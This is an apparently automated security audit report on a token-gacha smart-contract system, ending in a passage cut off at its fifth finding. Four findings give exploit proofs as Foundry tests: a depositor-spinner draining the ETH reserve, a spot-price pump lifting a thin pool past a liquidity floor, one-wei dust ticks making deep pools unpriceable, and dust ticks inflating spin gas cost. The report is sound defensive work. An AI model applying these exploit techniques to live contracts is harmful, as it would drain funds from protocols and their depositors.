# Audit report

> X: https://x.com/imdplace
> v3.4, fixes for audit 1f9510eb (commit 170070d). Full adversarial review before the token launch. Build and test under the launch profile (FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none) and the protected profile; confirm GACHA_RUNTIME_CODE_HASH 0xb1a5cbbca856aef754bdb7d19c2d81b8599e14ee88c3084ffb55f6c6adeb490a under the launch profile and REQUIRED_FLAGS 0x38CC with getHookPermissions.
>
> 1. Verify every 1f9510eb fix: odds never move upward and a request with no small-tier weight is Genesis-only or NothingToDraw before VRF is paid; V3Depth walk of up to 8 initialized crossings with min(L, L +/- liquidityNet), exact-price boundaries and both slot0 representations; 1 ETH unscaled in-band WETH floor and payout cap min(5% equivalent depth, released WETH); bindCheck/bindGacha check POL mintEscrow and poolManager; CheckLaunch funding (>=), VRF wrapper, Curator, startTime and spinPrice checks.
> 2. Hardest: the new V3Depth walk. Can a crafted tick layout (many dust ticks, liquidityNet sign tricks, ticks exactly at the band edge, word boundaries, negative ticks) inflate depth or the cap, make a deep pool unpriceable, or make the read run out of gas? Same for the Genesis depth path.
> 3. Odds and settlement after the change: any way to concentrate odds on own Bags, drain the reserve, or leave a liability or VRF fee stranded when the regular lane is cleared.
> 4. New issues from the changes: rounding, stuck funds, reentrancy through the hook, VRF/cancel races, bindGacha lock-out against the deployed GoblinNFT (launch-1616).
>
> Report any medium or higher with a concrete fix. NO SOURCE CHANGES.

| | |
|---|---|
| Repository | https://github.com/identity-md-launches/launch-1545-goblin-gold.git |
| Commit | `b88ff52bcde4baa0fb6434a285fd07091792030e` |
| Job | `c27ab1ba-e16f-4f17-81b3-b46fd1c11b19` |
| Judged | 2026-10-14 16:23 UTC |
| Findings | 1 high · 3 medium · 2 low · 1 info |

Four agents audited the code as it is at `b88ff52`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. High: Tier-top inventory has positive expectation against the reserve: a depositor who also spins drains it

`src/BagGacha.sol:836`

```
                uint256 pay = (a.value * DEPOSITOR_BPS) / BPS;
```

A kept regular win credits the depositor 95% of the Bag's snapshot value out of the reserve (_settle, line 836), while a regular spin adds only 88% of P = 0.0088 ETH to the reserve (_splitRegular). With the base odds [7500,1800,650,50] and tier ranges [0.3P,0.7P), [0.7P,2P), [2P,6P), [6P,70P] (tierOf), inventory parked just under every tier top (0.00699, 0.01999, 0.05999 and 0.7 ETH; all admissible when reserve >= 14 ETH so the jackpot is on and 0.7 ETH <= 5% of reserve) has expected keep payout 0.95 * (0.75*0.699 + 0.18*1.999 + 0.065*5.999 + 0.005*70) * P = 1.54P, 1.76x the reserve's take. Even a uniform inventory (tier means 0.5P, 1.35P, 4P, 38P) gives 0.95 * 1.07P > 0.88P. The 1f9510eb odds floor is satisfied because the attacker supplies the tier-0 Bag, and the 1/sqrt(v) within-tier weighting is neutral when every Bag of a tier has the same value. A depositor who is also the spinner receives the tokens back (bagWinner = spinner) plus 95% of their value in ETH, so every self-spin nets about +0.0045 ETH after the VRF fee and the reserve loses about 0.0067 ETH; nobody else has to play, and other players' spins pay the same depositor the same expectation. With the Genesis lane live (60% of paid spins, 30% of P to the reserve, nothing paid on keep) the per-spin reserve loss falls to roughly 0.085P, but the vault quote is 0 whenever the emission is ahead of schedule, and the attacker spins exactly then. Holding the 32 active slots (see the low finding) keeps other depositors' cheaper Bags from diluting the tiers. Because reserve gates every new request (>= 2P and >= the earmark) the drain ends in a halted gacha once tier-1 Bags no longer fit 5% of reserve. Fix: this is an economic-parameter decision for the requester, the mechanism works as designed. Bound the keep payout so that sum_t(odds_t * tierMax_t) * DEPOSITOR_BPS <= P * 8800 bps: lower the tier tops relative to P (the 70P jackpot term alone, 0.005*70P = 0.35P, is 40% of the take), or pay the depositor min(95% of value, a per-tier ceiling derived from P), or weight tier odds by the actual value distribution of the tier (odds_t * mean value of tier t). The attached proof only encodes the invariant that the reserve does not shrink against tier-top inventory.

**Reproduction**

State: reserve 20 ETH, base odds, Genesis lane off (vault quote 0), attacker holds four matured Bags of one 1e-3 ETH token: 6.99, 19.99, 59.99 and 700 tokens (tiers 0..3 at their tops). Loop 600 times: spin{value: P + vrfFee}, wrapper fulfils with word keccak('w', i), draw(), choose(alloc, true), claimBag(wonId), seal the same amounts again, warp 24 h. Expected: reserve >= 20 ETH (house take 88% of P per spin dominates payouts). Actual: reserve 16.771781 ETH, attacker balance +1.908219 ETH after paying 0.6 ETH of VRF fees. Run under the launch profile: forge test --match-path test/scratch/Proof_5138f11d06b7.t.sol (fails on this code: 'the reserve loses money to a self-dealing depositor-spinner: 16771781000000000000 < 20000000000000000000').

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {BagGacha} from "src/BagGacha.sol";

contract T is ERC20 {
    constructor() ERC20("T", "T") {
        _mint(msg.sender, 1_000_000 ether);
    }
}

contract Oracle {
    function isPriced(address) external pure returns (bool) {
        return true;
    }

    function valueInEth(address, uint256 a) external pure returns (uint256) {
        return a / 1000;
    }

    function valueAndCap(address, uint256 a) external pure returns (uint256, uint256) {
        return (a / 1000, type(uint256).max);
    }

    function genesisValueAndCap(uint256 a) external pure returns (uint256, uint256) {
        return (a / 1000, type(uint256).max);
    }
}

contract Vault {
    address public immutable token;

    constructor(address t) {
        token = t;
    }

    function quote(bool) external pure returns (uint256) {
        return 0;
    }

    function commit(bool) external pure returns (uint256) {
        return 0;
    }

    function uncommit(uint256) external {}
    function deliver(address, uint256) external {}
    function setShares(address, uint256) external {}
}

contract VRF {
    uint256 public last;

    function calculateRequestPriceNative(uint32, uint32) external pure returns (uint256) {
        return 0.001 ether;
    }

    function requestRandomWordsInNative(uint32, uint16, uint32, bytes calldata) external payable returns (uint256) {
        last += 1;
        return last;
    }

    function fulfill(address consumer, uint256 id, uint256 word) external {
        uint256[] memory w = new uint256[](1);
        w[0] = word;
        BagGacha(payable(consumer)).rawFulfillRandomWords(id, w);
    }
}

contract Sink {
    function depositPOL() external payable {}
    function depositBurn() external payable {}
}

/// @notice A depositor who is also the spinner, holding one Bag at the top of each tier.
contract SelfDealTest is Test {
    BagGacha gacha;
    T token;
    VRF vrf;
    address attacker = address(0xA11CE);
    uint256[4] amounts = [uint256(6.99 ether), 19.99 ether, 59.99 ether, 700 ether]; // 0.00699, 0.01999, 0.05999, 0.7 ETH

    function setUp() public {
        vm.warp(1_000_000);
        token = new T();
        vrf = new VRF();
        gacha = new BagGacha(
            address(new Oracle()),
            address(new Vault(address(0xB0B))),
            address(0xCAFE),
            address(vrf),
            address(new Sink()),
            address(0x7EA0),
            vm.getBlockTimestamp(),
            address(this)
        );
        vm.deal(address(this), 100 ether);
        gacha.fundReserve{value: 20 ether}();
        token.transfer(attacker, 2000 ether);
        vm.deal(attacker, 100 ether);
        vm.warp(vm.getBlockTimestamp() + gacha.HOLDER_WINDOW());
        vm.prank(attacker);
        token.approve(address(gacha), type(uint256).max);
    }

    function _seal(uint256 amount) internal returns (uint256) {
        address[] memory tokens = new address[](1);
        tokens[0] = address(token);
        uint256[] memory amts = new uint256[](1);
        amts[0] = amount;
        vm.prank(attacker);
        return gacha.seal(tokens, amts);
    }

    function testSelfSpinningDrainsTheReserve() public {
        uint256[4] memory ids;
        for (uint256 t = 0; t < 4; ++t) ids[t] = _seal(amounts[t]);
        vm.warp(vm.getBlockTimestamp() + gacha.MATURATION());
        uint256 reserve0 = gacha.reserve();
        uint256 attackerEth0 = attacker.balance;
        uint256 spins = 600;
        uint256 vrfFees;
        for (uint256 i = 0; i < spins; ++i) {
            (uint256 price, uint256 fee) = gacha.spinPrice();
            vrfFees += fee;
            vm.prank(attacker);
            uint256 id = gacha.spin{value: price}();
            vrf.fulfill(address(gacha), id, uint256(keccak256(abi.encode("w", i))));
            uint256 alloc = gacha.draw();
            vm.prank(attacker);
            gacha.choose(alloc, true);
            (, uint256 bagId,,,,,,) = gacha.allocations(alloc);
            vm.prank(attacker);
            gacha.claimBag(bagId);
            // re-list the same tokens at the same tier top
            (,,, , uint256[] memory amts) = gacha.bagInfo(bagId);
            _seal(amts[0]);
            vm.warp(vm.getBlockTimestamp() + gacha.MATURATION());
        }
        vm.prank(attacker);
        gacha.withdrawCredit();
        emit log_named_decimal_uint("reserve before", reserve0, 18);
        emit log_named_decimal_uint("reserve after", gacha.reserve(), 18);
        emit log_named_decimal_uint("attacker net ETH (after paying all spins and VRF fees)", attacker.balance - attackerEth0 + 0, 18);
        emit log_named_decimal_uint("vrf fees paid", vrfFees, 18);
        // Expected: the house keeps 88% of every spin price, so the reserve must not shrink against inventory that
        // sits at the top of every tier. Actual: 0.95 * (0.75*0.00699 + 0.18*0.01999 + 0.065*0.05999 + 0.005*0.7)
        // = 0.01549 ETH leaves the reserve per spin while only 0.0088 ETH enters it.
        assertGe(gacha.reserve(), reserve0, "the reserve loses money to a self-dealing depositor-spinner");
        assertLe(attacker.balance, attackerEth0, "the loop is profitable for the attacker after VRF fees");
    }
}
```

### 2. Medium: Regular-pool in-band WETH floor and payout cap are measured at the manipulable slot0 spot price: an in-transaction pump makes a thin pool priceable and raises its cap

`src/TwapOracle.sol:283`

```
            V3Depth.measure(pool, sqrtPrice, spotTick, liquidity);
```

_checkPool passes slot0's sqrtPrice and tick straight into V3Depth.measure (line 283). Liquidity is bounded by min(current L, 30-minute harmonic L), but the price is not: the WETH-side virtual reserve is L*sqrtP/Q96 when WETH is token1 (L*Q96/sqrtP when token0) and the unscaled in-band WETH released by the walk, L*(sqrtP - sqrtP*100/105)/Q96, scales by the same factor. Pushing the token's spot price up by a factor k multiplies wethSide, releasedWeth and therefore the payout cap by sqrt(k) while both TWAP ticks and the harmonic L are unchanged; the token side shrinks by sqrt(k) but only has to stay above 5 ETH valued at the TWAP. The Genesis path already guards against this (valuation at max(spot, long-window price), 'a spot pump cannot raise depth'); the regular path has no equivalent. The caller of seal() or spin() controls the transaction: swap spot up, call seal()/spin() so the floor passes and the inflated cap is committed into the snapshot and cappedSplits, swap back; the cost is the round-trip fee and in-pool slippage, atomic so no arbitrage risk. Effect: fix 4 of audit 1f9510eb (1 ETH unscaled in-band WETH floor, cap <= released WETH) is bypassed for a listed token whose pool has thinned, and a Bag of a token whose pool really releases ~0.71 ETH in band becomes drawable with a 1.30 ETH per-draw cap, the reserve then paying 95%/88% of its TWAP value in ETH. Fix: evaluate the band at a TWAP-bounded price, e.g. use the less favourable of spot and the short-window sqrt price for the WETH side (min(spot, twap) when WETH is token1, max when WETH is token0), mirroring the Genesis max(spot, long) rule; or revert StalePool when |spotTick - shortTick| exceeds a small bound.

**Reproduction**

Pool with one canonical wide position [-60000, 60000] of L = 15e18, both TWAP ticks 0, harmonic L = 15e18, spot tick 0: validatePool reverts ThinPool (released WETH in band ~0.714 ETH < MIN_IN_BAND_WETH). Move only slot0 to tick +12000 (token < WETH; -12000 otherwise), same block, same liquidity and TWAPs: setPool succeeds and payoutCap(token) returns 1.301474386635926793 ETH. Expected: ThinPool in both states, cap independent of spot. Actual: priced, cap 1.30 ETH. Run under the launch profile: forge test --match-path test/scratch/Proof_e3f32d15e907.t.sol (fails on this code: 'spot pump lifted an unpriceable pool over the in-band WETH floor').

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {TwapOracle} from "src/TwapOracle.sol";
import {TickMath} from "src/TickMath.sol";

contract Erc20Stub {
    function balanceOf(address) external pure returns (uint256) {
        return 0;
    }
}

contract GoldHookStub {
    function initialized() external pure returns (bool) {
        return false;
    }
}

contract FactoryStub {
    address public pool;

    function set(address p) external {
        pool = p;
    }

    function getPool(address, address, uint24) external view returns (address) {
        return pool;
    }
}

/// @dev Canonical-shaped v3 pool: one wide position [-60000, 60000] of liquidity L, TWAP ticks 0, harmonic L = L.
contract PoolStub {
    address public token0;
    address public token1;
    uint24 public constant fee = 3000;
    int24 public constant tickSpacing = 60;
    uint128 public liquidity;
    uint160 public sqrtP = uint160(1 << 96);
    int24 public spot;
    uint32 public lastObs;

    constructor(address a, address b, uint128 l) {
        (token0, token1) = a < b ? (a, b) : (b, a);
        liquidity = l;
        lastObs = uint32(block.timestamp);
    }

    function setSpot(int24 t) external {
        spot = t;
        sqrtP = TickMath.sqrtPriceAtTick(t);
    }

    function slot0() external view returns (uint160, int24, uint16) {
        return (sqrtP, spot, 0);
    }

    function observations(uint256) external view returns (uint32) {
        return lastObs;
    }

    function observe(uint32[] calldata agos) external view returns (int56[] memory c, uint160[] memory s) {
        c = new int56[](agos.length); // TWAP tick 0 in both windows
        s = new uint160[](agos.length);
        for (uint256 i; i < agos.length; ++i) {
            s[i] = uint160((uint256(uint32(block.timestamp) - agos[i]) << 128) / liquidity);
        }
    }

    function _bit(int24 tick) internal pure returns (int16 word, uint8 bit) {
        int24 c = tick / tickSpacing;
        if (tick < 0 && tick % tickSpacing != 0) --c;
        return (int16(c >> 8), uint8(uint24(c)));
    }

    function tickBitmap(int16 word) external pure returns (uint256 m) {
        (int16 w0, uint8 b0) = _bit(-60000);
        (int16 w1, uint8 b1) = _bit(60000);
        if (word == w0) m |= 1 << b0;
        if (word == w1) m |= 1 << b1;
    }

    function ticks(int24 tick) external view returns (uint128, int128) {
        if (tick == -60000) return (liquidity, int128(liquidity));
        if (tick == 60000) return (liquidity, -int128(liquidity));
        return (0, 0);
    }
}

/// @notice A spot-price pump inside the spin/seal transaction lifts a regular pool over the 1 ETH in-band WETH floor
///         and raises its payout cap, because V3Depth values depth at slot0 rather than at a TWAP-bounded price.
contract SpotPumpDepthTest is Test {
    TwapOracle oracle;
    PoolStub pool;
    address token;
    address weth;

    function setUp() public {
        vm.warp(100_000);
        token = address(new Erc20Stub());
        weth = address(new Erc20Stub());
        FactoryStub factory = new FactoryStub();
        // 15 ETH of liquidity-equivalent depth per side: only ~0.71 ETH WETH is released inside the band.
        pool = new PoolStub(token, weth, 15 ether);
        factory.set(address(pool));
        oracle = new TwapOracle(address(this), weth, address(factory), address(new Erc20Stub()), address(new GoldHookStub()));
    }

    function testSpotPumpMakesThinPoolPriceable() public {
        // At the true price (spot == TWAP) the pool fails the 1 ETH unscaled in-band WETH floor.
        vm.expectRevert(abi.encodeWithSelector(TwapOracle.ThinPool.selector, address(pool)));
        oracle.validatePool(token, address(pool));

        // Same block, same liquidity, same TWAPs: only spot moves (an in-transaction round trip by the caller).
        pool.setSpot(token < weth ? int24(12000) : int24(-12000));

        // Expected: still ThinPool, no capital was added and neither TWAP moved. Actual: listed and priced.
        bool priced;
        try this.listAndCap() returns (uint256 cap) {
            priced = true;
            emit log_named_decimal_uint("payout cap after spot pump", cap, 18);
        } catch {}
        assertFalse(priced, "spot pump lifted an unpriceable pool over the in-band WETH floor");
    }

    function listAndCap() external returns (uint256) {
        oracle.setPool(token, address(pool));
        return oracle.payoutCap(token);
    }
}
```

### 3. Medium: One-wei dust ticks consume the eight-crossing budget: a deep pool fails the new 1 ETH in-band floor and becomes unpriceable, delisting the token in practice and letting a depositor remove competitors'

`src/v3/V3Depth.sol:78`

```
        for (; crossed < MAX_CROSSINGS && liquidity > 0 && (up ? price < limit : price > limit); ++crossed) {
```

Every initialized crossing counts toward MAX_CROSSINGS = 8 regardless of its liquidityNet, and the unvisited tail of the ~976-tick band is discarded (line 78-88). The released WETH is therefore bounded by L times the width of the first eight initialized spacings: 480 ticks of the band at spacing 60 (about half), 80 ticks at spacing 10 (about 8%), 8 ticks at spacing 1. TwapOracle._liquidBalances (line 286) then requires releasedWeth >= 1 ETH, so a pool is rejected as ThinPool once its virtual WETH reserve is below ~42 ETH at spacing 60, ~250 ETH at spacing 10 and ~2,500 ETH at spacing 1, even though its liquidity-equivalent depth is far above the 5 ETH threshold. Anyone can initialize those ticks on a canonical v3 pool by minting 1-wei positions (no capital, gas only, never need to be removed; alternating +1/-1 nets keep the carried L unchanged). The 1f9510eb regression only proves that ONE dust position keeps >= 50% of the depth; the budget itself is the new attack surface, and the 1 ETH floor added in the same fix turns truncation into a hard failure at ordinary depths. Consequences: valueInEth/valueAndCap revert for that token, seal() of Bags containing it reverts BadBag, Bags already listed are skipped by _buildSnapshot (try/catch continue, BagGacha line 611-612) for as long as the dust exists, and withdraw() charges fee 0 in the catch (README accepts the fee waiver as low 9, but not that anyone can trigger it at will). A depositor who dusts the pools of the tokens in competing Bags removes those Bags from every snapshot and concentrates the regular-lane selection (and the 95% depositor payout) on their own Bags; dusting every mature tier-0 token clears the regular lane entirely (weights[0] == 0), so paid spins become Genesis-only while tier-1..3 depositors can only wait or exit. The README accepts 'many nearby ticks can exhaust the bounded walk' and asks operators to monitor, but monitoring cannot undo a position someone else holds and the Curator can only delist. Merged from four specialist reports of the same mechanism (spacing 10 with four positions per side, spacing 60 with eight per side at 30 and 40 ETH, fee-free exit). Fix (preserves the lower-bound design): do not let negligible crossings consume the budget. In _cross, apply the net change as now but count a crossing toward MAX_CROSSINGS only when |liquidityNet| >= liquidity / 1024 (or liquidityGross >= liquidity / 1024), and bound total tick reads with a separate higher constant (e.g. 32) for gas; exhausting the budget then needs real in-range capital of at least 8 * 0.1% of the pool's liquidity per direction. Alternatively, scale the 1 ETH floor by walkedRange / fullBandRange so truncation alone cannot fail a deep pool. Also require Curator policy to reject pools with tickSpacing < 60 until then.

**Reproduction**

V3Depth.measure on a tickSpacing-10 pool (storage-faithful mock of the tickBitmap/ticks ABI), price 1 (tick 0), one real position [-50000, 50000] with L = 200e18: released1 = 9.52 ETH, depth 200 ETH. Add four 1-wei positions per side ([10,20],[30,40],[50,60],[70,80] and the mirrored negatives): released0 = released1 = 0.798362293533970385 ETH (< MIN_IN_BAND_WETH, TwapOracle reverts ThinPool), depth falls to 16.77 ETH. Expected: an 8-wei change in liquidity leaves a 200 ETH pool priceable; actual: unpriceable. Spacing 60: a 40 ETH pool (released 1.9048 ETH clean) gives released 0.9485 ETH after eight alternating +1/-1 ticks at +/-60..+/-480 and payoutCap reverts ThinPool; a 30 ETH pool goes from 1.4286 to 0.71 ETH and withdraw() then charges fee 0. Run under the launch profile: forge test --match-path test/scratch/Proof_78bd5be5bdd0.t.sol (fails on this code: '8 wei of dust liquidity made a 200 ETH pool fail the 1 ETH in-band floor: 798362293533970385 < 1000000000000000000').

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {V3Depth} from "src/v3/V3Depth.sol";

contract FinePool {
    int24 public tickSpacing = 10;
    mapping(int16 => uint256) public tickBitmap;
    mapping(int24 => int128) public netOf;

    function initTick(int24 tick, int128 net) external {
        int24 c = tick / tickSpacing;
        if (tick < 0 && tick % tickSpacing != 0) --c;
        tickBitmap[int16(c >> 8)] |= 1 << uint8(uint24(c));
        netOf[tick] += net;
    }

    function ticks(int24 tick) external view returns (uint128, int128) {
        int128 n = netOf[tick];
        return (n == 0 ? 0 : uint128(n < 0 ? -n : n), n);
    }
}

contract Measure {
    function measure(address p, uint160 s, int24 t, uint128 l) external view returns (uint256, uint256, uint256, uint256) {
        return V3Depth.measure(p, s, t, l);
    }
}

contract DustBudgetTest is Test {
    function testFourDustPositionsEachSideMakeA200EthPoolThin() public {
        FinePool pool = new FinePool();
        Measure m = new Measure();
        uint128 L = 200 ether;
        // Real liquidity: one wide position well outside the band.
        pool.initTick(-50000, int128(L));
        pool.initTick(50000, -int128(L));
        (uint256 a0, uint256 a1, uint256 r0, uint256 r1) = m.measure(address(pool), uint160(1 << 96), 0, L);
        emit log_named_decimal_uint("clean depth0", a0, 18);
        emit log_named_decimal_uint("clean released1", r1, 18);
        // Attacker: 4 positions of 1 wei each side, ticks +10..+80 and -80..-10 (8 initialized ticks per side).
        for (int24 i = 1; i <= 8; i += 2) {
            pool.initTick(i * 10, 1);
            pool.initTick((i + 1) * 10, -1);
            pool.initTick(-(i + 1) * 10, 1);
            pool.initTick(-i * 10, -1);
        }
        (a0, a1, r0, r1) = m.measure(address(pool), uint160(1 << 96), 0, L);
        emit log_named_decimal_uint("dusted depth0", a0, 18);
        emit log_named_decimal_uint("dusted depth1", a1, 18);
        emit log_named_decimal_uint("dusted released0", r0, 18);
        emit log_named_decimal_uint("dusted released1", r1, 18);
        // TwapOracle requires >= 1 ETH released WETH and >= 5 ETH depth: 200 ETH of real depth must stay priceable.
        assertGe(r1, 1 ether, "8 wei of dust liquidity made a 200 ETH pool fail the 1 ETH in-band floor");
        assertGe(r0, 1 ether, "8 wei of dust liquidity made a 200 ETH pool fail the 1 ETH in-band floor");
    }
}
```

### 4. Medium: The snapshot values 128 (Bag, token) pairs with a 16-tick walk each: a full inventory of real or dusted pools costs 22M to 46M gas per spin request, far above the project's 12M margin

`src/BagGacha.sol:608`

```
            try this.bagPayout(id) returns (uint256 got, uint256 full, uint256[] memory amounts, bool capped) {
```

_buildSnapshot prices every (Bag, token) pair separately (line 608): 32 Bags x 4 tokens = 128 bagPayout -> TwapOracle.valueAndCap -> V3Depth.measure calls with no per-token memoisation within one snapshot. After the 1f9510eb fix each measure() walks up to 8 initialized crossings per direction, each one tickBitmap read plus one ticks() call (4 cold storage slots on a canonical pool), on top of the 3-point observe() binary search over the observation ring. Anyone can initialize ticks on any canonical pool with 1-wei positions, and every actively LP'd pool (USDC, USDT, WBTC, LINK) already has more than 8 initialized ticks within +/-5% of spot, so the worst case is the normal case for blue-chip listings and is reachable by one depositor sealing 32 Bags of the same 4 tokens (about 0.1 ETH of tokens, recoverable after 24 h). Measured under the launch profile with a storage-faithful v3 stub: 128 distinct tokens without dust 10.5M (the repo's GasBench asserts < 12M with free mocks); 4 tokens held by all 32 Bags with 8 dust ticks per side 20.2M, 22.0M with a canonical-cost observe(); 128 distinct dusted tokens 38.2M. A specialist's mainnet-fork measurement (block 26,191,802) put valueAndCap(USDC) at 361k gas, 244k of it in V3Depth.measure, i.e. ~46M for the 128 quotes; that fork figure was not re-run here. Consequences: spin(), holderSpin() and freeSpin() cost a large fraction of a block and tens of times the 0.01 ETH spin price in gas, so paid spins stop and with them the reserve, holder, POL and burn revenue; at the top of the range the request does not fit a block at all until the Curator pauses or delists tokens through attestation proposals or depositors withdraw. Every Bag stays priceable and in the snapshot, so this is not the acknowledged 'temporarily unpriceable' case. Merged from two specialist reports (stubbed measurement with proof, fork measurement). Fix (keeps the design): memoise the oracle answer per token within one snapshot, e.g. mapping(address => struct{uint256 epoch; uint256 valuePerUnit; uint256 cap}) keyed by snapshotEpoch so each distinct token is walked once per request, and/or let bagPayout accept pre-fetched (value, cap) per token; independently lower MAX_CROSSINGS or cap the walk by gas, and re-measure GasBench with canonical-cost ticks()/observe() so the 12M assertion is real.

**Reproduction**

Launch profile (FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none). Deploy TwapOracle, GenesisVault, GoblinNFT, BagGacha with a 4 ETH reserve. List 4 tokens, each with a v3 pool at tick 0, spacing 60, 100 ETH active liquidity, and initialize ticks +60..+480 and -60..-480 with 1-wei positions. Seal 32 Bags each holding 0.00125 of the 4 tokens, warp 3 days, refresh observations, call spin{value: spinPrice().total}() and measure gas. Expected: within the project's own 12M margin (GasBench asserts < 12M for 128 distinct pools). Actual: 21,993,796 gas with a canonical-cost observe() (20,201,215 with a free observe), all 32 Bags in the snapshot. Run: forge test --match-path test/scratch/Proof_d9dc2e17c431.t.sol -vv (fails on this code: 'snapshot lost its transaction gas margin: 21993796 >= 12000000').

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {BagGacha} from "src/BagGacha.sol";
import {GenesisVault} from "src/GenesisVault.sol";
import {GoblinNFT} from "src/GoblinNFT.sol";
import {TwapOracle} from "src/TwapOracle.sol";

contract PfToken is ERC20 {
    constructor() ERC20("T", "T") {}

    function mint(address to, uint256 a) external {
        _mint(to, a);
    }
}

contract PfFactory {
    mapping(bytes32 => address) public pools;

    function setPool(address a, address b, uint24 fee, address pool) external {
        pools[keccak256(abi.encode(a < b ? a : b, a < b ? b : a, fee))] = pool;
    }

    function getPool(address a, address b, uint24 fee) external view returns (address) {
        return pools[keccak256(abi.encode(a < b ? a : b, a < b ? b : a, fee))];
    }
}

/// @dev Storage-faithful v3 pool stub: one slot per bitmap word and per tick record, 100 ETH active liquidity at
///      price 1 (tick 0), spacing 60. observe() reads 40 distinct ring slots, as two canonical binary searches over
///      a ~1024-observation ring do. Everything an attacker controls here (dust ticks) is public on any v3 pool.
contract PfPool {
    address public token0;
    address public token1;
    uint24 public constant fee = 3000;
    uint128 public liquidity = 100 ether;
    int24 public tickSpacing = 60;
    uint160 public sqrtPriceX96 = uint160(1 << 96);
    uint32 public lastObservation;
    mapping(int16 => uint256) public tickBitmap;
    mapping(int24 => int128) public liquidityNetOf;
    mapping(uint256 => uint256) internal ring;

    constructor(address a, address b) {
        token0 = a < b ? a : b;
        token1 = a < b ? b : a;
        lastObservation = uint32(block.timestamp);
    }

    function setObservation(uint32 t) external {
        lastObservation = t;
    }

    /// @dev one 1-wei position per call pair: an attacker mints [60k, 60k+60] and [-60k-60, -60k] on the real pool
    function initTick(int24 tick, int128 net) external {
        int24 compressed = tick / tickSpacing;
        tickBitmap[int16(compressed >> 8)] |= uint256(1) << uint8(uint24(compressed));
        liquidityNetOf[tick] = net;
    }

    function ticks(int24 tick) external view returns (uint128, int128, uint256, uint256, int56, uint160, uint32, bool) {
        int128 net = liquidityNetOf[tick];
        uint128 gross = uint128(uint256(net < 0 ? -int256(net) : int256(net)));
        return (gross, net, 0, 0, 0, 0, 0, gross > 0);
    }

    function observations(uint256) external view returns (uint32) {
        return lastObservation;
    }

    function slot0() external view returns (uint160, int24, uint16, uint16, uint16, uint8, bool) {
        return (sqrtPriceX96, 0, 0, 1, 1, 0, true);
    }

    function observe(uint32[] calldata agos) external view returns (int56[] memory values, uint160[] memory spl) {
        values = new int56[](agos.length);
        spl = new uint160[](agos.length);
        uint256 acc;
        for (uint256 i; i < 40; ++i) {
            acc += ring[i];
        }
        require(acc == 0);
        for (uint256 i; i < agos.length; ++i) {
            spl[i] = uint160((uint256(uint32(block.timestamp) - agos[i]) << 128) / liquidity);
        }
    }
}

contract PfVrf {
    uint256 public next = 1;

    function calculateRequestPriceNative(uint32, uint32) external pure returns (uint256) {
        return 0.001 ether;
    }

    function requestRandomWordsInNative(uint32, uint16, uint32, bytes calldata) external payable returns (uint256) {
        return next++;
    }
}

contract PfPol {
    function depositPOL() external payable {}
    function depositBurn() external payable {}
}

/// @notice Four listed tokens, 32 mature Bags of those four tokens (the project's MAX_ACTIVE), and eight 1-wei
///         positions on each side of the price inside the +/-5% band of each token's pool. The regular snapshot
///         then re-walks 16 crossings for every one of the 128 (Bag, token) valuations and the spin request costs
///         about 22M gas, far above the 12M margin the project's own GasBench asserts for the same inventory.
contract DustGasProofTest is Test {
    BagGacha gacha;
    TwapOracle oracle;
    PfFactory factory;
    PfToken weth;
    PfPool[] pools;

    function setUp() public {
        vm.warp(100_000);
        vm.deal(address(this), 100 ether);
        weth = new PfToken();
        PfToken gold = new PfToken();
        factory = new PfFactory();
        oracle = new TwapOracle(address(this), address(weth), address(factory), address(gold), address(0xdead));
        GoblinNFT nft = new GoblinNFT(address(this));
        PfVrf vrf = new PfVrf();
        PfPol pol = new PfPol();
        address predicted = vm.computeCreateAddress(address(this), vm.getNonce(address(this)) + 1);
        GenesisVault genesis =
            new GenesisVault(address(gold), address(oracle), predicted, block.timestamp, 1e24, 1e22, address(this));
        gacha = new BagGacha(
            address(oracle),
            address(genesis),
            address(nft),
            address(vrf),
            address(pol),
            address(this),
            block.timestamp,
            address(this)
        );
        gacha.fundReserve{value: 4 ether}();

        address[] memory all = new address[](4);
        for (uint256 i; i < 4; ++i) {
            PfToken t = new PfToken();
            PfPool pool = new PfPool(address(t), address(weth));
            pools.push(pool);
            factory.setPool(address(t), address(weth), 3000, address(pool));
            for (uint256 k = 1; k <= 8; ++k) {
                pool.initTick(int24(int256(60 * k)), 1);
                pool.initTick(-int24(int256(60 * k)), -1);
            }
            oracle.setPool(address(t), address(pool));
            all[i] = address(t);
        }
        for (uint256 b; b < gacha.MAX_ACTIVE(); ++b) {
            uint256[] memory amounts = new uint256[](4);
            for (uint256 k; k < 4; ++k) {
                PfToken(all[k]).mint(address(this), 0.00125 ether);
                PfToken(all[k]).approve(address(gacha), 0.00125 ether);
                amounts[k] = 0.00125 ether;
            }
            gacha.seal(all, amounts);
        }
        vm.warp(block.timestamp + 3 days);
        for (uint256 i; i < pools.length; ++i) {
            pools[i].setObservation(uint32(block.timestamp));
        }
    }

    function testDustedPoolsBlowTheSnapshotGasMargin() public {
        (uint256 price,) = gacha.spinPrice();
        uint256 before = gasleft();
        gacha.spin{value: price}();
        uint256 used = before - gasleft();
        (uint256[] memory ids,,) = gacha.snapshot();
        assertEq(ids.length, gacha.MAX_ACTIVE(), "every Bag is still priceable and drawable");
        emit log_named_uint("spin request gas with 8 dust ticks per side on 4 listed pools", used);
        assertLt(used, 12_000_000, "snapshot lost its transaction gas margin");
    }
}
```

### 5. Low: No per-depositor limit on the 32 active slots: one address monopolises the inventory for under 0.1 ETH of tokens

`src/BagGacha.sol:407`

```
        if (activeBags.length >= MAX_ACTIVE) revert TooManyActive();
```

